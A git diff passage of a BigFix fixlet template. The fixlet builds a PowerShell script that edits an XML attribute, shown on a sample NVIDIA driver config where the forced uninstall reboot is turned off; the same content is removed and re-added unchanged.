-if ($showdetail) {{
-	write-host "Parameters:"
-	write-host "file: $file"
-	write-host "Selection Search: $select"
-	write-host "Node to change: $name"
-	write-host "New value to set: $value"
-	write-host "Output File: $out"
-}
- #$path=$file
- [xml]$xml=(Get-Content $file)
- [System.Xml.XmlElement] $root = $xml.get_DocumentElement()
- $nodes=$root.SelectNodes($xpath)
- foreach ($node in $nodes) {{
-    if ($showdetail) {{ write-host "Found node  " $node.OuterXml }
- 	$node.$name=$value
-	}
- if ($showdetail) {{ write-host "Saving output to " $out }
- $xml.save($out)
- EOF_EOF_EOF_EOF
-
- delete updatexml.ps1
- move __createfile updatexml.ps1
-
-
-// Create a sample XML file to update, will change "uninstallReboot" to "false"
-delete __createfile
-createfile until EOF_EOF_EOF_EOF
-<?xml version="1.0" encoding="UTF-8"?>
-<nvi title="Graphics Driver" disposition="critical" versionText="391.74" timestamp="2018-06-05T02:19:48.000" name="Display.Driver" version="391.74">
-<phases>
-	<device deviceProgress="0" fixedProgress="0" phase="installAllDrivers" action="uninstall" when="uninstall" uninstallReboot="true">
-      <inf name="C:\Program Files\NVIDIA Corporation\Installer2\Display.Driver.{{2F1420AC-B99E-4088-ACE3-ACD203A2B05E}\*.inf" />
-      <hwid name="PCI\VEN_10DE" />
-    </device>
-</phases>
-</nvi>
-EOF_EOF_EOF_EOF
-delete sample.xml
-move __createfile sample.xml
-
-// Now, use powershell to modify an attribute within the sample file and output it to a new XML
-waithidden powershell.exe -ExecutionPolicy Bypass -File updatexml.ps1 -file sample.xml -xpath "//*[@uninstallReboot='true']" -name uninstallReboot -value false -out sample-output.xml]]></ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : _template XML Editing Template Powershell
+  ID       : 25582
+  Author   : JasonWalker
+  Domain   : BESC
+  Imported : 2018-11-12T10:49:01
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>_template XML Editing Template Powershell</Title>
+    <Description><![CDATA[<P>Sample template fixlet to modify an XML file.&nbsp; </P>
+<P>This Fixlet demonstrates opening an XML file with PowerShell, and replacing&nbsp;a value in the XML content.</P>
+<P>Originally written to allow removing an NVidia driver without rebooting.&nbsp;&nbsp;NVidia, in their&nbsp;admin-unfriendliness, decided that uninstalling a driver should immediately trigger a reboot without providing any options to delay the reboot or to warn the user that a reboot is going to occur.&nbsp; There are no command-line parameters available to modify this behavior, but we can skip the reboot by modifying a value in their nv.xml configuration file.&nbsp;</P>
+<P>This fixlet, being an example of the PowerShell usage, generates on-the-fly an XML file similar to NVidia's format, and then uses PowerShell to replace one of the attribute values in that file.</P>]]></Description>
+    <Relevance>windows of operating system AND (if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2018-08-23</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 12 Nov 2018 18:48:14 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection false
+
+// build the powershell script that we will use to modify an XML file
+createfile until EOF_EOF_EOF_EOF
+<#
+
+.Synopsis
+This is a Powershell script to search an XML file for a given node, and replace an attribute value on any matching node(s)
+
+.DESCRIPTION
+$MyInvocation.ScriptName -file <filename.xml> -xpath <xpath_to_search> -name <attribute name to modify> -value <value to set> [-out <filename-out.xml>] [-showdetail]
+
+.EXAMPLE
+powershell -ExecutionPolicy Bypass -File $MyInvocation.ScriptName -file "C:\temp\nv.xml" -xpath "//*[@uninstallReboot='true']" -name uninstallReboot -value false -out "c:\temp\nv-output.xml" -showdetail
+
+.NOTES
+Originally written to change brain-dead NVidia driver uninstallers to not force a reboot without warning on uninstall.  The NVidia XML config files needed to be updated to remove the forced reboot.
+
+
+
+#>
+
+
+
+param (
+	[Parameter(Mandatory=$true)][string]$file,
+	[string]$out=$file,
+	[Parameter(Mandatory=$true)][string]$xpath,
+	[Parameter(Mandatory=$true)][string]$name,
+	[Parameter(Mandatory=$true)][string]$value,
+	[switch]$showdetail=$false
+
+)
+if ($showdetail) {{
+	write-host "Parameters:"
+	write-host "file: $file"
+	write-host "Selection Search: $select"
+	write-host "Node to change: $name"
+	write-host "New value to set: $value"
+	write-host "Output File: $out"
+}
+ #$path=$file
+ [xml]$xml=(Get-Content $file)
+ [System.Xml.XmlElement] $root = $xml.get_DocumentElement()
+ $nodes=$root.SelectNodes($xpath)
+ foreach ($node in $nodes) {{
+    if ($showdetail) {{ write-host "Found node  " $node.OuterXml }
+ 	$node.$name=$value
+	}
+ if ($showdetail) {{ write-host "Saving output to " $out }
+ $xml.save($out)
+ EOF_EOF_EOF_EOF
+
+ delete updatexml.ps1
+ move __createfile updatexml.ps1
+
+
+// Create a sample XML file to update, will change "uninstallReboot" to "false"
+delete __createfile
+createfile until EOF_EOF_EOF_EOF
+<?xml version="1.0" encoding="UTF-8"?>
+<nvi title="Graphics Driver" disposition="critical" versionText="391.74" timestamp="2018-06-05T02:19:48.000" name="Display.Driver" version="391.74">
+<phases>
+	<device deviceProgress="0" fixedProgress="0" phase="installAllDrivers" action="uninstall" when="uninstall" uninstallReboot="true">
+      <inf name="C:\Program Files\NVIDIA Corporation\Installer2\Display.Driver.{{2F1420AC-B99E-4088-ACE3-ACD203A2B05E}\*.inf" />
+      <hwid name="PCI\VEN_10DE" />
+    </device>
+</phases>
+</nvi>
+EOF_EOF_EOF_EOF
+delete sample.xml
+move __createfile sample.xml
+
+// Now, use powershell to modify an attribute within the sample file and output it to a new XML
+waithidden powershell.exe -ExecutionPolicy Bypass -File updatexml.ps1 -file sample.xml -xpath "//*[@uninstallReboot='true']" -name uninstallReboot -value false -out sample-output.xml]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/template XML Editing Template Powershell.bes b/Sites/Windows Management/Fixlets/Fixlets/template XML Editing Template Powershell.bes
index 905c21474..296f02197 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/template XML Editing Template Powershell.bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/template XML Editing Template Powershell.bes	
@@ -1,110 +1,110 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : _template XML Editing Template Powershell
-  ID       : 25582
-  Author   : JasonWalker
-  Domain   : BESC
-  Imported : 2018-11-12T10:49:01
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>_template XML Editing Template Powershell</Title>
-    <Description><![CDATA[<P>Sample template fixlet to modify an XML file.&nbsp; </P>
-<P>This Fixlet demonstrates opening an XML file with PowerShell, and replacing&nbsp;a value in the XML content.</P>
-<P>Originally written to allow removing an NVidia driver without rebooting.&nbsp;&nbsp;NVidia, in their&nbsp;admin-unfriendliness, decided that uninstalling a driver should immediately trigger a reboot without providing any options to delay the reboot or to warn the user that a reboot is going to occur.&nbsp; There are no command-line parameters available to modify this behavior, but we can skip the reboot by modifying a value in their nv.xml configuration file.&nbsp;</P>
-<P>This fixlet, being an example of the PowerShell usage, generates on-the-fly an XML file similar to NVidia's format, and then uses PowerShell to replace one of the attribute values in that file.</P>]]></Description>
-    <Relevance>windows of operating system AND (if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true)</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2018-08-23</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 12 Nov 2018 18:48:14 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection false
-
-// build the powershell script that we will use to modify an XML file
-createfile until EOF_EOF_EOF_EOF
-<#
-
-.Synopsis
-This is a Powershell script to search an XML file for a given node, and replace an attribute value on any matching node(s)
-
-.DESCRIPTION
-$MyInvocation.ScriptName -file <filename.xml> -xpath <xpath_to_search> -name <attribute name to modify> -value <value to set> [-out <filename-out.xml>] [-showdetail]
-
-.EXAMPLE
-powershell -ExecutionPolicy Bypass -File $MyInvocation.ScriptName -file "C:\temp\nv.xml" -xpath "//*[@uninstallReboot='true']" -name uninstallReboot -value false -out "c:\temp\nv-output.xml" -showdetail
-
-.NOTES
-Originally written to change brain-dead NVidia driver uninstallers to not force a reboot without warning on uninstall.  The NVidia XML config files needed to be updated to remove the forced reboot.
-
-
-
-#>
-
-
-
-param (
-	[Parameter(Mandatory=$true)][string]$file,
-	[string]$out=$file,
-	[Parameter(Mandatory=$true)][string]$xpath,
-	[Parameter(Mandatory=$true)][string]$name,
-	[Parameter(Mandatory=$true)][string]$value,
-	[switch]$showdetail=$false
-
-)
-if ($showdetail) {{
-	write-host "Parameters:"
-	write-host "file: $file"
-	write-host "Selection Search: $select"
-	write-host "Node to change: $name"
-	write-host "New value to set: $value"
-	write-host "Output File: $out"
-}
- #$path=$file
- [xml]$xml=(Get-Content $file)
- [System.Xml.XmlElement] $root = $xml.get_DocumentElement()
- $nodes=$root.SelectNodes($xpath)
- foreach ($node in $nodes) {{
-    if ($showdetail) {{ write-host "Found node  " $node.OuterXml }
- 	$node.$name=$value
-	}
- if ($showdetail) {{ write-host "Saving output to " $out }
- $xml.save($out)
- EOF_EOF_EOF_EOF
-
- delete updatexml.ps1
- move __createfile updatexml.ps1
-
-
-// Create a sample XML file to update, will change "uninstallReboot" to "false"
-delete __createfile
-createfile until EOF_EOF_EOF_EOF
-<?xml version="1.0" encoding="UTF-8"?>
-<nvi title="Graphics Driver" disposition="critical" versionText="391.74" timestamp="2018-06-05T02:19:48.000" name="Display.Driver" version="391.74">
-<phases>
-	<device deviceProgress="0" fixedProgress="0" phase="installAllDrivers" action="uninstall" when="uninstall" uninstallReboot="true">
-      <inf name="C:\Program Files\NVIDIA Corporation\Installer2\Display.Driver.{{2F1420AC-B99E-4088-ACE3-ACD203A2B05E}\*.inf" />
-      <hwid name="PCI\VEN_10DE" />
-    </device>
-</phases>
-</nvi>
-EOF_EOF_EOF_EOF
-delete sample.xml
-move __createfile sample.xml
-
-// Now, use powershell to modify an attribute within the sample file and output it to a new XML
-waithidden powershell.exe -ExecutionPolicy Bypass -File updatexml.ps1 -file sample.xml -xpath "//*[@uninstallReboot='true']" -name uninstallReboot -value false -out sample-output.xml]]></ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : _template XML Editing Template Powershell
+  ID       : 25582
+  Author   : JasonWalker
+  Domain   : BESC
+  Imported : 2018-11-12T10:49:01
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>_template XML Editing Template Powershell</Title>
+    <Description><![CDATA[<P>Sample template fixlet to modify an XML file.&nbsp; </P>
+<P>This Fixlet demonstrates opening an XML file with PowerShell, and replacing&nbsp;a value in the XML content.</P>
+<P>Originally written to allow removing an NVidia driver without rebooting.&nbsp;&nbsp;NVidia, in their&nbsp;admin-unfriendliness, decided that uninstalling a driver should immediately trigger a reboot without providing any options to delay the reboot or to warn the user that a reboot is going to occur.&nbsp; There are no command-line parameters available to modify this behavior, but we can skip the reboot by modifying a value in their nv.xml configuration file.&nbsp;</P>
+<P>This fixlet, being an example of the PowerShell usage, generates on-the-fly an XML file similar to NVidia's format, and then uses PowerShell to replace one of the attribute values in that file.</P>]]></Description>
+    <Relevance>windows of operating system AND (if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2018-08-23</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 12 Nov 2018 18:48:14 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection false
+
+// build the powershell script that we will use to modify an XML file
+createfile until EOF_EOF_EOF_EOF
+<#
+
+.Synopsis
+This is a Powershell script to search an XML file for a given node, and replace an attribute value on any matching node(s)
+
+.DESCRIPTION
+$MyInvocation.ScriptName -file <filename.xml> -xpath <xpath_to_search> -name <attribute name to modify> -value <value to set> [-out <filename-out.xml>] [-showdetail]
+
+.EXAMPLE
+powershell -ExecutionPolicy Bypass -File $MyInvocation.ScriptName -file "C:\temp\nv.xml" -xpath "//*[@uninstallReboot='true']" -name uninstallReboot -value false -out "c:\temp\nv-output.xml" -showdetail
+
+.NOTES
+Originally written to change brain-dead NVidia driver uninstallers to not force a reboot without warning on uninstall.  The NVidia XML config files needed to be updated to remove the forced reboot.
+
+
+
+#>
+
+
+
+param (
+	[Parameter(Mandatory=$true)][string]$file,
+	[string]$out=$file,
+	[Parameter(Mandatory=$true)][string]$xpath,
+	[Parameter(Mandatory=$true)][string]$name,
+	[Parameter(Mandatory=$true)][string]$value,
+	[switch]$showdetail=$false
+
+)
+if ($showdetail) {{
+	write-host "Parameters:"
+	write-host "file: $file"
+	write-host "Selection Search: $select"
+	write-host "Node to change: $name"
+	write-host "New value to set: $value"
+	write-host "Output File: $out"
+}
+ #$path=$file
+ [xml]$xml=(Get-Content $file)
+ [System.Xml.XmlElement] $root = $xml.get_DocumentElement()
+ $nodes=$root.SelectNodes($xpath)
+ foreach ($node in $nodes) {{
+    if ($showdetail) {{ write-host "Found node  " $node.OuterXml }
+ 	$node.$name=$value
+	}
+ if ($showdetail) {{ write-host "Saving output to " $out }
+ $xml.save($out)
+ EOF_EOF_EOF_EOF
+
+ delete updatexml.ps1
+ move __createfile updatexml.ps1
+
+
+// Create a sample XML file to update, will change "uninstallReboot" to "false"
+delete __createfile
+createfile until EOF_EOF_EOF_EOF
+<?xml version="1.0" encoding="UTF-8"?>
+<nvi title="Graphics Driver" disposition="critical" versionText="391.74" timestamp="2018-06-05T02:19:48.000" name="Display.Driver" version="391.74">
+<phases>
+	<device deviceProgress="0" fixedProgress="0" phase="installAllDrivers" action="uninstall" when="uninstall" uninstallReboot="true">
+      <inf name="C:\Program Files\NVIDIA Corporation\Installer2\Display.Driver.{{2F1420AC-B99E-4088-ACE3-ACD203A2B05E}\*.inf" />
+      <hwid name="PCI\VEN_10DE" />
+    </device>
+</phases>
+</nvi>
+EOF_EOF_EOF_EOF
+delete sample.xml
+move __createfile sample.xml
+
+// Now, use powershell to modify an attribute within the sample file and output it to a new XML
+waithidden powershell.exe -ExecutionPolicy Bypass -File updatexml.ps1 -file sample.xml -xpath "//*[@uninstallReboot='true']" -name uninstallReboot -value false -out sample-output.xml]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>